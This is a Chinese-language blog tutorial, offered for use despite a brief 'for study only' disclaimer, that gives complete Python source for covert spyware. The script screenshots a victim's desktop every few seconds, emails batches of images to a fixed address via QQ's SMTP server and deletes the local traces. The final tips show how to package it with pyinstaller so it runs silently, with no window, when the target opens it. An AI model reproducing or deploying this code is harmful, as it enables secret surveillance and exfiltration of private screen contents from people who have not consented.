想要遠程獲取對方的桌面?Python教你一招搞定!

申明
本文章僅供學習使用


先說一下功能的實現方式:
讓對方的電腦自動截圖,並且通過郵件的方式發給指定郵箱

再說一下需要的包:需要下載pyautogui以及email包,下載方式爲在cmd命令行下輸入pip install + 包名,或者python -m pip install + 包名。


首先,我們import一些庫

import os    #os庫主要用於人機交互,可以新建文件夾、執行cmd命令以及列出文件夾內文件名
import pyautogui    #用於截圖
import time      #計時

然後,再import一些庫

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header
from email.mime.image import MIMEImage
from email.utils import formatdate
from email.mime.application import MIMEApplication

這些庫主要用於發送郵件

然後,開始真正的正文部分:

def screenshot(num):
    img = pyautogui.screenshot()      #截取屏幕
    img.save("D:/123/" + str(num) + '.jpg')    #保存數據

這個函數很簡單,僅兩行。第一行的意思是將當前的屏幕以數據的方式保存到img變量中,第二行的意思是將img的數據保存到對應的路徑中。路徑可以自行設定,這裏設爲D盤。

def sendmail(list):
    mail_host = 'smtp.qq.com'
    sender = '[email protected]'#發送者的郵箱
    sendpw = 'xxxxxx'#密碼或者授權碼
    receiver = ['[email protected]']#接受者郵件

    message = MIMEMultipart()

    message['From'] = Header("EGG's PC",'utf-8')
    message['To'] = Header("sr",'utf-8')
    subject = 'EGG'
    message['Subject'] = Header(subject,'utf-8')
    #添加圖片
    for i in list:
        with open("D:/123/" + i,"rb")as f:
            part2 = MIMEApplication(f.read())
        part2['Content-Type'] = 'application/octet-stream'
        part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i
        message.attach(part2)
    try:
        smtpObj = smtplib.SMTP_SSL(mail_host)
        smtpObj.connect(mail_host,465)
        smtpObj.login(sender,sendpw)
        smtpObj.sendmail(sender,receiver[0],message.as_string())
        print("OK")
    except:
        print("NO")

這一段的代碼量有點大,我們分開來講。
首先:

mail_host = 'smtp.qq.com'
sender = '[email protected]'#發送者的郵箱
sendpw = 'xxxxxx'#密碼或者授權碼
receiver = ['[email protected]']#接受者郵件

因爲我們通過python自動發郵件,所以需要在登錄郵箱的服務器,然後再發送信息。
這一塊的代碼主要是提供登錄信息,提供郵箱服務器地址、發送者的賬號密碼以及接受者的地址,這裏可以添加多個接受者,在列表內用逗號隔開就行。

message = MIMEMultipart()    #申明變量

message['From'] = Header("EGG's PC",'utf-8')   #設置頭
message['To'] = Header("sr",'utf-8')    #設置發送給誰
subject = 'EGG'    #設置主題
message['Subject'] = Header(subject,'utf-8')

在這塊代碼中,我們先申明一個變量message接收數據(這個時候message還爲空,需要後面添加)
然後再給message設置各種格式,給大家看看效果圖:在這裏插入圖片描述
上面的三行分別是Subject,From,以及To。
這裏由於編碼的原因所以變亂碼了,用英文來表達就比較好。

    #添加圖片
for i in list:
    with open("D:/123/" + i,"rb")as f:
        part2 = MIMEApplication(f.read())
    part2['Content-Type'] = 'application/octet-stream'
    part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i
    message.attach(part2)

這個list是由函數傳入的一個列表,裏面裝了我們需要加入到message的圖片的名字(比如1.jpg,2.jpg啥的)。
for i in list:
這一句將list的變量依次複製給變量ii是圖片的名字,接下來便是以二進制的方式打開文件,並且賦值給變量part2,這個part2是我們需要添加到message中的。
接下來給message設置一下格式,將'Content-Type'設置爲'application/octet-stream',將'Content-Disposition'設置爲'attachment',最後再附加上filename。因爲圖片是保存在D:/123中,所以文件名前面加上路徑。
最後,利用attach將內容添加進我發送的信息中。因爲這裏只發送圖片,便只講圖片的添加方式,如果添加其他類型的文件也一樣的,改一下文件名即可。

 try:
    smtpObj = smtplib.SMTP_SSL(mail_host)    #建立smtp連接
    smtpObj.connect(mail_host,465)     #利用465端口連接
    smtpObj.login(sender,sendpw)    #登錄
    smtpObj.sendmail(sender,receiver[0],message.as_string())    #發送信息
    print("OK")
except:
    print("NO")

前面將信息準備好,全部存放在message中,這裏需要將信息發送到指定的郵箱中。於是先建立SMTP連接,用SSL方式連接更可靠。
本來發送端口是25端口,但是這個端口的漏洞比較多,所以現在一般被關掉,用465端口。
然後利用賬號密碼登錄郵箱,這裏注意,填的sendpw一般是授權碼。
最後就是將信息發出。

接下來講一下主函數:


if __name__ == "__main__":
    max_num = 10

    li = os.listdir("D:/")
    if "123" not in li:
        os.mkdir("D:/123")
        
    i = 0
    while True:
        screenshot(i)
        time.sleep(3)
        i += 1

        if i % max_num == 0:
            list = os.listdir("D:/123/")
            print(list)
            sendmail(list)
            os.popen(R"del D:\123\*.jpg")

首先,設定一個max_num,畢竟不能每生成一張圖片就發送過來,那樣需要打開的郵件要非常多。但是也不能堆成一堆了再發過來,圖片太大可能導致發送失敗。

li = os.listdir("D:/")
if "123" not in li:
    os.mkdir("D:/123")

os.listdir()函數可以列出對應文件夾下有哪些文件或者文件夾,以列表的形式返回。判斷我們需要的123文件夾是否已經建立,若沒有建立,那就利用os.mkdir()函數新建一個123文件夾。

i = 0
while True:
    screenshot(i)    #截圖並保存
    time.sleep(3)    #休眠3秒
    i += 1                #計數
    if i % max_num == 0:      #每一定數量的圖片彙總後再發送
        list = os.listdir("D:/123/")         #獲得當前文件夾下所有圖片的文件名
        print(list)                      #顯示一下是哪幾張圖片,可以不要 
        sendmail(list)              #發送郵件
        os.popen(R"del D:\123\*.jpg")    #清空文件夾下所有圖片

首先利用前面定義的screen()函數截圖,然後休眠一段時間。
然後每10張圖片彙總後對圖片進行發送。
最後利用os.popen()函數執行cmd命令。cmd命令爲del *.jpg用來清空所有的jpg文件。但是我們需要清空的不是當前目錄下的文件,而是D:/123下的文件,所以需要加上對應路徑,也就成爲了del D:\123\*.jpg
但是在python中,\是反斜槓,起到轉義作用,比如\n是換行的意思。如果用在字符串中,系統會默認是轉義字符的意思,而不是路徑名。解決方法有兩個:
1.字符前面加一個R或r,例:R"del D:\123\*.jpg"
2.將\本身轉義,例:del D:\\123\\*.jpg
講解結束,掛上完整代碼供大家使用:

import os
import pyautogui
import time
import sys

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.header import Header
from email.mime.image import MIMEImage
from email.utils import formatdate
from email.mime.application import MIMEApplication
import email.mime.multipart
import email.mime.text


def screenshot(num):
    img = pyautogui.screenshot()
    #path = "C:\Users\Administrator\Pic\" + str(num) + '.jpg'
    img.save("D:/123/" + str(num) + '.jpg')

def sendmail(list):
    mail_host = 'smtp.qq.com'
    sender = '[email protected]'#發送者的郵箱
    sendpw = 'xxxxxx'#密碼或者授權碼
    receiver = ['[email protected]']#接受者郵件

    
    message = MIMEMultipart()

    message['From'] = Header("EGG's PC",'utf-8')
    message['To'] = Header("sr",'utf-8')
    subject = 'EGG'
    message['Subject'] = Header(subject,'utf-8')

    #添加圖片
    for i in list:
        with open("D:/123/" + i,"rb")as f:
            part2 = MIMEApplication(f.read())
        part2['Content-Type'] = 'application/octet-stream'
        part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i
        message.attach(part2)
        

    try:
        smtpObj = smtplib.SMTP_SSL(mail_host)
        smtpObj.connect(mail_host,465)
        smtpObj.login(sender,sendpw)
        smtpObj.sendmail(sender,receiver[0],message.as_string())
        print("OK")
    except:
        print("NO")
    

if __name__ == "__main__":
    max_num = 10

    li = os.listdir("D:/")
    if "123" not in li:
        os.mkdir("D:/123")
        
    i = 0
    while True:
        screenshot(i)
        time.sleep(3)
        i += 1

        if i % max_num == 0:
            list = os.listdir("D:/123/")
            print(list)
            sendmail(list)
            os.popen(R"del D:\123\*.jpg")

代碼講解結束了,這裏附上幾點注意事項:

  1. 163郵箱最近出了一個安全碼啥的,所以發送郵箱不要用163的,容易失敗(我試了一晚上不能用)
  2. 可以使用pyinstaller命令來打包文件,將py文件打包成exe文件。沒有pyinstaller庫的可以在cmd下利用pip install pyinstaller或者python -m pip install pyinstaller。使用的方式爲:在cmd下,切換到對應目錄,執行:pyinstaller -F xxx.py -n +你希望轉成的exe的名字 -w -F後面跟py文件的名字,-n後面跟你想要的exe的名字,-w是靜默運行的意思,也就是說當對方雙擊exe文件時不會出現窗口。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章